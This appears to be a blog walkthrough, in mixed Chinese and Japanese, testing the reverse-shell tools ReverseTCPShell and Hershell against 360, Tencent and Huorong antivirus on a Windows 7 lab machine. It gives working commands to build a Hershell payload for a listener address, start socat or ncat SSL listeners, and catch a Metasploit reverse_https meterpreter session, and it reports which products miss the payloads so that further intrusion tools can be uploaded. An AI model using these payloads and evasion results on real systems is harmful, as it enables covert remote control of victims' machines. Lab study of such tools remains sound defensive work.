事情起因#
使用的是前面文章nps_payload的三件套环境,配置如下:
- Win7 SP1 build 7601
- windows 防火墙打开
- 360 杀毒正式版 5.0.0.8170
- 腾讯电脑管家 13.3.20238.213
- 火绒 5.0.36.16
ReverseTCPShell C2#
首先从github 地址ダウンロードReverseTCP.ps1ファイルを開きます。
LHOSTとLPORTを設定し、暗号化方式を選択する必要があります。デフォルトでは 3 つの方式が用意されています。
- ASCII
- xor
- Base64
ここではxorを選択しました。

psとcmdの利用コードが自動生成され、LPORTの監視が開始されます。

cmdコードをwin7にコピーして、3 つのツールを免除してshellを取得します。

ls、whoami、upload、download、screenshotなどの単純なコマンドを実行できます。

実行できるコマンドは少ないですが、少なくとも現時点では 3 つのツールを免除しているため、shellを取得した後に免除された侵入ツールをアップロードして侵入を続けることができます。
Hershell#
Hershell は、Go 言語で書かれたマルチプラットフォームの逆シェルジェネレータであり、トランスポート層セキュリティ(TLS)を使用してトラフィックを暗号化し、証明書の公開鍵フィンガープリントを固定化してトラフィックの傍受を防止します。
このツールはgo環境が必要です。すでにインストールされている場合は、この部分をスキップできます。
go 環境#
まず、公式ウェブサイトから最新のLinuxバージョンのgoダウンロードリンクを取得します。
wget https://studygolang.com/dl/golang/go1.13.7.linux-amd64.tar.gz
sudo tar -xzf go1.13.7.linux-amd64.tar.gz -C /usr/local/
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath (オプション)
go version
使用方法#
取得:
go get github.com/lesnuages/hershell
まず、証明書を生成します。
cd hershell
make depends

Windows を例にして、クライアントを生成します。他のプラットフォームも同様です。
make windows64 LHOST=192.168.1.18 LPORT=3333

生成されたhershell.exeをターゲットホストにコピーします。360 杀毒は検出できますが、火绒と腾讯は問題ありません。
次に、次のプログラムを使用して監視を開始できます。
- socat
- ncat
- openssl server module
- metasploit multi handler(python/shell_reverse_tcp_ssl payload)
個人的にはsocatをおすすめします。以下のコマンドを使用します。
socat openssl-listen:3333,reuseaddr,cert=server.pem,cafile=server.key system:bash,pty,stderr
しかし、実行するとエラーが発生します。

代わりにncatを使用する必要があります。これはnetcatのncではありません。
nmapをインストールして使用することができます。監視コマンドは次のとおりです。
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 3333

仮想マシンでhershell.exeを実行すると、ubuntuでshellを受信できます。

msf との相互転送#
次の payload をサポートしています。
- windows/meterpreter/reverse_tcp
- windows/x64/meterpreter/reverse_tcp
- windows/meterpreter/reverse_http
- windows/x64/meterpreter/reverse_http
- windows/meterpreter/reverse_https
- windows/x64/meterpreter/reverse_https
ここでは、64 ビットのsslを備えたwindows/x64/meterpreter/reverse_httpsを選択します。
hershellが生成したserver.pemファイルをmsfがインストールされているホストにコピーし、msfでリッスンを開始します。
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
setg LHOST 192.168.1.2
setg LPORT 3333
set HandlerSSLCert /root/server.pem
exploit -j -z
ここでのipとポートはmsfがインストールされているホストのもので、任意の設定が可能です。

その後、hershell を使用して次のように送信します。
[hershell]> meterpreter https 192.168.1.2:3333
![]()
受信に成功しませんでした。
参考文献:
本文完。